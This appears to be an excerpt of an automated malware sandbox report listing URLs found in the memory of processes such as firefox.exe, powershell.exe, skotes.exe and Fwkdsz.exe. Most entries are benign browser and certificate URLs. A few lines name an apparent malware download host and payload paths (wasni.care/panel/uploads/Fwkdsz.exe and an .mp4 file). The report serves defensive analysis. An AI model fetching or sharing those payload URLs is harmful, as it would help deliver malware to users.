Source: firefox.exe, 00000020.00000003.2898403161.00000253EE891000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2885495011.00000253EF964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2789703011.00000253F4531000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3301418861.00000253EC6FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2848961803.00000253EC6FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3298650291.00000253EC33D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3230698047.00000253EBC44000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2789703011.00000253F459E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2756035227.00000253EEDDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3331865267.00000253EE7BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3297546038.00000253EC23B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3297546038.00000253EC203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2919716041.00000253EEDDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3297546038.00000253EC207000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3341234473.00000253EF964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2868017078.00000253EC6DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3213102159.00000253EBB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3301418861.00000253EC6D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2886154259.00000253EF940000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3315658593.00000253ED3C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2820751925.00000253F4533000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: powershell.exe, 00000008.00000002.2473738158.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: 24da741fb6.exe, 0000000B.00000003.2560153285.00000000059AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 24da741fb6.exe, 0000000B.00000003.2560153285.00000000059AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: powershell.exe, 00000008.00000002.2471464999.0000000004B96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2469949700.000000000295B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: firefox.exe, 00000020.00000002.2981301005.00000253E847D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000020.00000003.2897430854.00000253EED7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2756035227.00000253EED7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000020.00000003.2897430854.00000253EED7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2756035227.00000253EED7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: powershell.exe, 00000008.00000002.2471464999.0000000004B96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: Fwkdsz.exe, 00000007.00000002.2640122155.0000000002C61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2471464999.0000000004A41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.2471464999.0000000004B96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Fwkdsz.exe, 00000007.00000002.2640122155.0000000002C61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://wasni.care
Source: skotes.exe, 00000006.00000002.2934737174.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wasni.care/panel/uploads/Fwkdsz.exe
Source: skotes.exe, 00000006.00000002.2934737174.0000000001594000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wasni.care/panel/uploads/Fwkdsz.exe)
Source: Fwkdsz.exe, 00000007.00000002.2640122155.0000000002C61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://wasni.care/panel/uploads/Luvzkkz.mp4
Source: firefox.exe, 00000020.00000002.2981301005.00000253E847D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: powershell.exe, 00000008.00000002.2471464999.0000000004B96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2469949700.000000000295B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: firefox.exe, 00000020.00000002.2981301005.00000253E847D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatePREF_APP_UPDATE_NO_WINDOW_AUTO_RESTART_DELAY_MSBITS_IDLE_NO_PR
Source: firefox.exe, 00000020.00000002.3342340455.00000253EFA66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000020.00000003.2894963446.00000253F49DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2812464285.00000253F49DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2819189641.00000253EE883000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2898403161.00000253EE870000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2818323900.00000253EE8BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3303094848.00000253EC70E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E88AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3333605365.00000253EE876000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2920709540.00000253EE876000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E88C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E889E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2972949736.00000253E7FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000020.00000003.2819189641.00000253EE883000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2898403161.00000253EE870000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3333605365.00000253EE876000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2920709540.00000253EE876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 00000020.00000002.3303094848.00000253EC716000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulP
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/AppMenuNotificat
Source: firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://services-settings/RemoteSett
Source: 0d8313073f.exe, 0000000D.00000002.2973785580.000000001DB85000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2982296898.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 24da741fb6.exe, 0000000B.00000003.2560153285.00000000059AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2883030561.00000253F44B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 24da741fb6.exe, 0000000B.00000003.2560153285.00000000059AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2883030561.00000253F44B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3309604059.00000253ECC23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000020.00000003.2812464285.00000253F49B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2877164435.00000253F49B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: firefox.exe, 00000020.00000003.2668435370.00000253EC21F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668905912.00000253EC25A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668690950.00000253EC23C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2673285399.00000253EBC85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2669234122.00000253EC277000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668191749.00000253EC000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: 24da741fb6.exe, 0000000B.00000003.2528657418.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528779080.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528529918.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000003.2825724774.0000000001692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000020.00000003.2885495011.00000253EF97C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000020.00000003.2896479331.00000253F4452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000020.00000003.2894603584.00000253F614D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2898403161.00000253EE870000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3333605365.00000253EE890000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3333312838.00000253EE803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000020.00000002.3320063127.00000253ED7E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwderIdLl~
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA29D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3213102159.00000253EBB45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000020.00000002.3213102159.00000253EBB2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgP
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etptoolkit.telemetry.newProfilePing.delaytoolkit.telemetry.previ
Source: powershell.exe, 00000008.00000002.2471464999.0000000004A41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000020.00000003.2894840440.00000253F49E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2877164435.00000253F49E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000020.00000003.2894840440.00000253F49E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2877164435.00000253F49E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2896697038.00000253F03A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: 24da741fb6.exe, 0000000B.00000003.2564360640.0000000005977000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 24da741fb6.exe, 0000000B.00000003.2564360640.0000000005977000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 00000020.00000003.2896479331.00000253F4452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000020.00000003.2896479331.00000253F4452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000020.00000003.2896479331.00000253F4452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000020.00000003.2896479331.00000253F4452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 24da741fb6.exe, 0000000B.00000003.2528657418.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528779080.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528529918.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000003.2825724774.0000000001692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 24da741fb6.exe, 0000000B.00000003.2528657418.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528779080.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528529918.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000003.2825724774.0000000001692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 24da741fb6.exe, 0000000B.00000003.2528657418.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528779080.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528529918.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000003.2825724774.0000000001692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000020.00000003.2668435370.00000253EC21F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668905912.00000253EC25A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668690950.00000253EC23C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2669234122.00000253EC277000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668191749.00000253EC000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000020.00000003.2895455294.00000253F49AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3303094848.00000253EC7EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000020.00000002.3144688592.00000253EA243000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: 24da741fb6.exe, 0000000B.00000003.2564360640.0000000005977000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 24da741fb6.exe, 0000000B.00000003.2564360640.0000000005977000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000020.00000003.2896187877.00000253F4623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000020.00000002.3309604059.00000253ECC23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: powershell.exe, 00000008.00000002.2473738158.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.2473738158.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.2473738158.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: firefox.exe, 00000020.00000003.2821737659.00000253F4544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2748840225.00000253F4548000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2744719723.00000253F454B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000020.00000002.2983601021.00000253E872C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000020.00000002.2983601021.00000253E872C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000020.00000002.2983601021.00000253E872C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsUI
Source: firefox.exe, 00000020.00000002.2983601021.00000253E872C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000020.00000002.3230698047.00000253EBC44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 00000020.00000003.2821737659.00000253F4544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2748840225.00000253F4548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000020.00000003.2821737659.00000253F4544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2748840225.00000253F4548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000020.00000003.2821737659.00000253F4544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2748840225.00000253F4548000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2744719723.00000253F454B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: 0d8313073f.exe, 0000000D.00000003.2559813189.000000000533B000.00000004.00001000.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2983236159.000000006C191000.00000002.00000001.01000000.0000001A.sdmp, 0d8313073f.exe, 0000000D.00000002.2922718430.000000000063C000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000020.00000003.2812464285.00000253F49E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668191749.00000253EC000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2877164435.00000253F49E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: 24da741fb6.exe, 0000000B.00000003.2528657418.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528779080.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528529918.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000003.2825724774.0000000001692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 24da741fb6.exe, 0000000B.00000003.2528657418.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528779080.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528529918.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000003.2825724774.0000000001692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 24da741fb6.exe, 0000000B.00000003.2528657418.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528779080.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2528529918.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000003.2825724774.0000000001692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000020.00000002.2981301005.00000253E847D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3199771193.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2782741908.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2905590480.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2870938459.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2671242763.00000253EBA33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2860366691.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
